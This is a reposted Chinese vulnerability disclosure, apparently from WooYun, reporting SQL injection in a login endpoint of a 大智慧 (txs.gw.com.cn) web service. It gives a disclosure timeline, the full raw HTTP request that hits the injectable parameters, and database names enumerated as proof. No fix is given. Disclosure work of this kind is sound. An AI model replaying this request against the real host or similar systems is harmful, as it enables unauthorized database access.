神刀安全网

漏洞标题: 大智慧某处SQL注入

漏洞详情

披露状态:

2016-04-19: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

大智慧某处SQL注入

详细说明:

code 区域
POST /ajaxHandler/login.ashx HTTP/1.1
Host: txs.gw.com.cn
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://txs.gw.com.cn/
Content-Length: 55
Cookie: SessionID=3ttpqnbvpan1vcodc4gtpi5a01; _jzqa=1.1211957624822335000.1460958414.1460958414.1460962630.2; _jzqc=1; _jzqx=1.1460958414.1460962630.2.jzqsr=pay%2Egw%2Ecom%2Ecn|jzqct=/detail/dzh_tzzd%2Ejsp.jzqsr=cj%2Egw%2Ecom%2Ecn|jzqct=/; _jzqckmp=1; _ga=GA1.3.1247137747.1460958417; ASP.NET_SessionId=fc2yj5gdcmqrdjf1dpxjnjet; DataBaseServer=
X-Forwarded-For: 121.1.2.0
Connection: keep-alive

type=login&id=admin&pwd=123456&Server=DefaultSqlConnStr

漏洞标题:  大智慧某处SQL注入

漏洞证明:

code 区域
available databases [13]:
[*] distribution
[*] ETL
[*] fcdb
[*] fcdb_en
[*] master
[*] model
[*] msdb
[*] NewEditInfo
[*] NewEditInfo_QUERY
[*] NewEditInfobak
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

修复方案:

版权声明:转载请注明来源 hecate@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 大智慧某处SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址